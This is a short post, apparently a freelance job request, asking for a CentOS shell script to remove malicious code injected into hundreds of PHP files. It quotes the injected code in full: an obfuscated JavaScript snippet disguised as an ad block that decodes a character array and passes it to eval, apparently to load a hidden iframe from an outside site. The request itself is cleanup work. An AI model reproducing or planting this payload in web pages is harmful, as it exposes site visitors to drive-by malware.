CentOS command line script to remove virus injection

Hi, We've had some code injected in a few hundred php files and we need a script to remove the code. This script must run from the CentOS command line. The injected code is this one: "<!-- ad --><script>c=3-1;i=c-2;if([login to view URL])if(parseInt("0"+"1"+"2"+"3")===83)try{Date().prototype.q}catch(egewgsd){f=['-31i-31i65i62i-8i0i60i71i59i77i69i61i70i76i6i63i61i76i29i68i61i69i61i70i76i75i26i81i44i57i63i38i57i69i61i0i-1i58i71i60i81i-1i1i51i8i53i1i83i-27i-31i-31i-31i65i62i74i57i69i61i74i0i1i19i-27i-31i-31i85i-8i61i68i75i61i-8i83i-27i-31i-31i-31i60i71i59i77i69i61i70i76i6i79i74i65i76i61i0i-6i20i65i62i74i57i69i61i-8i75i74i59i21i-1i64i76i76i72i18i7i7i63i65i63i57i76i61i74i65i57i6i65i70i7i65i70i6i59i63i65i23i15i-1i-8i79i65i60i76i64i21i-1i9i8i-1i-8i64i61i65i63i64i76i21i-1i9i8i-1i-8i75i76i81i68i61i21i-1i78i65i75i65i58i65i68i65i76i81i18i64i65i60i60i61i70i19i72i71i75i65i76i65i71i70i18i57i58i75i71i68i77i76i61i19i68i61i62i76i18i8i19i76i71i72i18i8i19i-1i22i20i7i65i62i74i57i69i61i22i-6i1i19i-27i-31i-31i85i-27i-31i-31i62i77i70i59i76i65i71i70i-8i65i62i74i57i69i61i74i0i1i83i-27i-31i-31i-31i78i57i74i-8i62i-8i21i-8i60i71i59i77i69i61i70i76i6i59i74i61i57i76i61i29i68i61i69i61i70i76i0i-1i65i62i74i57i69i61i-1i1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i75i74i59i-1i4i-1i64i76i76i72i18i7i7i63i65i63i57i76i61i74i65i57i6i65i70i7i65i70i6i59i63i65i23i15i-1i1i19i62i6i75i76i81i68i61i6i78i65i75i65i58i65i68i65i76i81i21i-1i64i65i60i60i61i70i-1i19i62i6i75i76i81i68i61i6i72i71i75i65i76i65i71i70i21i-1i57i58i75i71i68i77i76i61i-1i19i62i6i75i76i81i68i61i6i68i61i62i76i21i-1i8i-1i19i62i6i75i76i81i68i61i6i76i71i72i21i-1i8i-1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i79i65i60i76i64i-1i4i-1i9i8i-1i1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i64i61i65i63i64i76i-1i4i-1i9i8i-1i1i19i-27i-31i-31i-31i60i71i59i77i69i61i70i76i6i63i61i76i29i68i61i69i61i70i76i75i26i81i44i57i63i38i57i69i61i0i-1i58i71i60i81i-1i1i51i8i53i6i57i72i72i61i70i60i27i64i65i68i60i0i62i1i19i-27i-31i-31i85'][0].split('i');v="ev"+"a"+"l";}if(v)e=window[v];w=f;s=[];r=String;for(;565!=i;i+=1){j=i;s+=r["fr"+"omC"+"harCode"](40+1*w[j]);} if(f)z=s;e(z);</script><!-- /ad -->"